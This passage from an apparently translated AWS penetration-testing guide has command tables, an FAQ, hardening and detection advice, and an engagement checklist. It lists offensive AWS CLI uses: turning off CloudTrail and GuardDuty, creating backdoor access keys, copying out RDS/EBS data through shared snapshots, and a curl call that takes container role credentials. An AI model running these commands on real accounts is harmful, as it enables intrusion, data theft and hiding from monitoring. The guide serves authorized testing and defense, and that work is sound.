InvalidClientTokenId | Access key ID does not exist, has been deleted, or is from a different account/partition than expected | aws sts get-caller-identity with the same credentials to confirm if they are valid | Verify that you have copied the correct key; make sure that you do not mix credentials between different profiles. |
SignatureDoesNotMatch | Wrong secret key, or the request was altered after signing (proxy, encoding) | Reruns the identical command without going through proxies/wrappers that modify the request | Check secret key; if you use curl --aws-sigv4, check that the header Content-Type you don't change between signing and sending |
RequestExpired / signature “not yet valid” | Local clock skew (see dedicated section below) | date -u / timedatectl | Resynchronize the clock via NTP |
| Empty results in a specific region | The resources exist in a region other than the active one, or the region is not enabled for the account | aws ec2 describe-regions --all-regions, repeat the command with --region REGION explicit | Iterate on all enabled regions, do not stop at the default profile region |
NoCredentialsError / “Unable to locate credentials” | No active profile, no environment variables exported, or files ~/.aws/credentials absent | aws configure list | Export variables AWS_* or check --profile |
Quick command table #
| Service | Command | What it gives back |
|---|---|---|
| STS | aws sts get-caller-identity | Current identity |
| I AM | aws iam get-role --role-name X | Role trust policy |
| I AM | aws iam simulate-principal-policy | Effective permits (screening) |
| S3 | aws s3api get-bucket-policy-status | If the bucket is public |
| EC2 | aws ec2-instance-connect send-ssh-public-key | Temporary SSH access |
| SSM | aws ssm send-command | Executing commands on EC2 (root/SYSTEM) |
| Lambda | aws lambda update-function-code | Hijack code from an existing function |
| Secret Manager | aws secretsmanager get-secret-value | Value of secrecy |
| Cognito | cognito-identity get-credentials-for-identity | IAM credentials without authentication |
| ECS | aws ecs execute-command | Interactive shell in the container |
| CloudTrail | aws cloudtrail get-trail-status | Real logging coverage |
| KMS | aws kms put-key-policy | Privesc: Allow direct decryption on a key |
| EBS/RDS | modify-snapshot-attribute / modify-db-snapshot-attribute | Exfiltration via snapshot sharing, without touching the live resource |
| S3 | aws s3 presign | Temporary URL for download without exposing credentials |
| SQS | aws sqs receive-message | Reading queued messages (application data in transit) |
| DynamoDB | aws dynamodb scan | Dump application data at rest |
| CloudWatch Logs | aws logs filter-log-events --filter-pattern X | Secrets accidentally logged by apps |
| CloudTrail | aws cloudtrail stop-logging | Defense evasion: Turn off visibility before moving |
| GuardDuty | aws guardduty update-detector --no-enable | Defense evasion: deactivates the detector |
| I AM | aws iam create-access-key on legitimate user | Persistence: silent backdoor |
| EC2 | aws ec2 modify-instance-attribute --user-data | Code execution as root on next boot |
| EC2 | aws ec2-instance-connect send-serial-console-ssh-public-key | Serial console, SSH/SSM bypass |
| SSM | aws ssm start-session ... AWS-StartPortForwardingSessionToRemoteHost | Tunnel to internal services, bypass security group |
| EKS | aws eks update-kubeconfig + kubectl | Accessing the Kubernetes control plane via IAM |
| API Gateway | aws apigateway get-stages | Find endpoints with authorizationType: NONE |
| Organizations | aws organizations list-accounts | Map the entire org; pivot via OrganizationAccountAccessRole |
| Opensearch | aws opensearch describe-domain | Domain with open access policy, query without auth |
| Step Functions | aws stepfunctions get-execution-history | Clear input/output between steps |
| Cloud Formation | aws cloudformation get-template | Secret hardcoded in template and output |
| Glue | aws glue get-connections | Clear DB username/password |
| CodeBuild | aws codebuild batch-get-projects | Env build vars with clear credentials |
| KMS | aws kms decrypt | Decrypt data directly with kms:Decrypt |
| S3 | aws s3api list-object-versions | Recover “deleted” objects (versioning) |
| Route53 | aws route53 list-resource-record-sets | Internal topology, subdomain takeover |
| I AM | aws accessanalyzer list-findings-v2 | Cross-account/publicly exposed assets |
FAQ #
How do I verify my current AWS identity?
aws sts get-caller-identity —returns account, ARN, and principal type. This is the first command to run with any new credentials.
How do I make an AWS call with curl instead of the CLI?
Usa curl --aws-sigv4 "aws:amz:REGION:SERVICE" --user "ACCESS_KEY:SECRET_KEY", adding x-amz-security-token If the credentials are temporary. The body/URL format depends on the service protocol: form-urlencoded for API queries (STS, IAM), JSON with header X-Amz-Target For JSON 1.1 services (Secrets Manager, SSM, Cognito), direct REST path to Lambda/S3/EKS.
How do I identify a possible path of privilege escalation?
Lists the available IAM actions, then compares them to known patterns: iam:PassRole To services that execute code, modify policies/trust policies on themselves, or create access keys for other users. Always verify before performing any action.
What's the difference between IMDSv1 and IMDSv2? IMDSv1 responds to GET requests without authentication. IMDSv2 first requires a PUT for a token with a limited TTL—it mitigates simple SSRFs but doesn't protect against SSRFs that forge PUT requests with custom headers, nor does it protect against direct code execution.
What are the limitations of CloudTrail as an audit source? Management events remain in Event History for 90 days even without a dedicated trail, but data events are not included by default and must be explicitly enabled—many organizations don't do this.
What is the difference between permanent IAM credentials and temporary STS credentials?
A permanent IAM access key (AKIA...) remains valid until manually deleted — if you find it in a repo or config file, it works until someone notices it. The STS credentials (from assume-role, get-session-token, IMDS, container credentials) always have a Expiration and a AWS_SESSION_TOKEN associated: they expire on their own, usually within a few hours. Always check which type you have before scheduling a test.
How do I diagnose an error? AccessDenied during an AWS pentest?
It doesn't automatically mean a "dead end." It relaunches the failed action inside simulate-principal-policy to determine whether it is an explicit deny, an unmet condition, a permissions boundary, or an SCP — each of these suggests a different path to try (see the troubleshooting table above for other common errors).
How do I find public S3 buckets without AWS credentials?
With aws s3 ls s3://NOME-BUCKET --no-sign-requestPublic buckets respond even without a signature. To search for them by company name, permutate the name into variants (-backup, -logs, -dev, -prod) and head each — NoSuchBucket it means the name is free, AccessDenied which exists but is private.
How do I run commands on an EC2 instance without having an SSH key?
Three main routes: SSM Run Command (aws ssm send-command, runs as root/SYSTEM if the SSM agent is active), EC2 Instance Connect (send-ssh-public-key, temporary push of your key), and the modification of the user-data (modify-instance-attribute + stop/start, runs a script on boot). The choice depends on what IAM permissions you have and what is installed on the instance.
How do I retrieve IAM credentials from a Lambda function or ECS container?
Not via IMDS (Lambda does not expose it): use the local container credentials endpoint, curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_FULL_URI with the header Authorization: $AWS_CONTAINER_AUTHORIZATION_TOKEN (on ECS the variable is AWS_CONTAINER_CREDENTIALS_RELATIVE_URI). Returns the temporary credentials of the execution role.
How do I extract data from an RDS database without connecting to the DB?
By sharing a snapshot with an account you control (rds:ModifyDBSnapshotAttribute), then rebuilding a new instance from that snapshot in your account (restore-db-instance-from-db-snapshot). No queries against the live DB, no network connection to the target—just a complete copy outside its monitoring perimeter. The same pattern applies to EBS with volume snapshots.
What tools should be used alongside the AWS CLI for a more comprehensive assessment? The AWS CLI and curl cover manual enumeration and specific path verification. For a systematic scan of IAM policies or automatic identification of escalated privilege chains, dedicated tools automate dozens of calls: Pacu (AWS exploitation framework), ScoutSuite and Prowler (multi-service configuration audits), CloudSplaining (IAM over-permissioning analysis), and Cartography (graph mapping of resource relationships). These tools are useful for initial triage, but not as a replacement for manual verification of the most promising paths.
Hardening and detection: the defensive perspective #
Every offensive technique in this guide has a counter-check. A pentest report that stops at the vulnerability list is half the story: the client wants to know what to change . This is the defensive summary, organized by attack class.
Identity and privilege escalation #
- Least royal privilege: no policy with
Action: "*"oiam:*/sts:AssumeRolesuResource: "*". The enabling actions (iam:CreatePolicyVersion,iam:PassRole,iam:CreateAccessKey,iam:UpdateAssumeRolePolicy) should be granted only where strictly necessary and withResourceristretto. - Permissions boundary on every role that can be created by non-admin users: limits the maximum privilege limit even if the attached policy is too broad.
- SCP at Organization level: explicit deny on
iam:CreateUser/CreateAccessKeyoutside of the expected processes, and on the deactivation of logging services. ExternalIdcompulsory on any cross-account trust policy towards third parties; never trust an entire account (:root) without condition.- MFA mandatory for sensitive actions, set via condition
aws:MultiFactorAuthPresent.
Data and storage #
- S3 Block Public Access Account-level, not just bucket-level; versioning with MFA Delete on sensitive buckets; SSE-KMS encryption with restrictive key policy.
- EBS snapshot Block Public Access at account level; periodic audit of
createVolumePermission/launchPermissionon snapshots and AMIs. - RDS/EBS: no publicly shared snapshots; encryption with CMK whose access is separate from those managing the snapshots.
- Secrets Manager/SSM/Glue: No clear secrets in Lambda/ECS/CodeBuild env var, user-data, or CloudFormation output; rotation is active.
Compute and lateral movement #
- IMDSv2 mandatory (
HttpTokens: required) on all instances, withHttpPutResponseHopLimit: 1to block container use. - SSM: session logging to S3/CloudWatch, and restriction of
ssm:SendCommand/StartSessionto authorized operators only. - ECR: immutability tag + scan on-push.
- EKS: private API endpoint when possible,
aws-authwith minimal mapping, RBAC least privilege.
Detection: CloudTrail events to always alert about #
An AWS SOC should have high-priority alerts on: StopLogging, DeleteTrail, UpdateDetector (Enable=false), CreateFilter (Action=ARCHIVE), DeleteFlowLogs, StopConfigurationRecorder —all signs of defense evasion. And then: CreateAccessKey/CreateLoginProfile outside onboarding, CreatePolicyVersion/AttachUserPolicy towards privileged policies, UpdateAssumeRolePolicy, AddPermission/CreateGrant/PutResourcePolicy with external principals, ModifySnapshotAttribute/ModifyDBSnapshotAttribute with external accounts, GetFederationToken with broad policies.
GuardDuty, Security Hub, and an Access Analyzer active on each account cover much of this automatically—as long as no one can disable them without generating an alert of their own.
Operational engagement checklist #
- Current identity confirmed (
get-caller-identity) and account consistent with the scope - Covered regions listed explicitly (not just the default profile one)
- Known credential type (permanent or temporary) and its expiration noted
- Effective permissions mapped to the current identity (attached/inline policy, boundary, SCP if visible)
- Enumerated accessible services and resources (IAM, S3, EC2, Lambda, containers, secret stores)
- Privilege escalation paths identified, with prerequisite and impact documented for each
- Any action of this type
Wperformed only after confirmation that it is within the authorized scope - Evidence collected (command output, not unnecessary screenshots of sensitive data)
- Verified CloudTrail coverage, so you know what your customer will see in their logs
- Remediation proposal for each finding, not just the list of vulnerabilities
Synthetic finding model #
Title: [Servizio] — [Azione IAM] permette [impatto] senza [condizione mancante]
Severity: Critical / High / Medium / Low
Prerequisite: identità X ha il permesso Y su risorsa Z (nessuna MFA/condition richiesta)
Impact: l'azione Y consente [privilege escalation / data exposure / code execution],
dimostrato con [comando usato in verifica controllata]
Evidence: output del comando (redatto per rimuovere eventuali secret reali)
Remediation: applicare least privilege su Y, aggiungere condition [IP/MFA/tag],
oppure rimuovere il permesso se non necessario al workflow legittimoFor a complete overview of the platform's security, see AWS Security on Hackita.it. To learn more about SSRF as an access vector to IMDS—often the first link in a chain that leads there—see the dedicated article on SSRF.








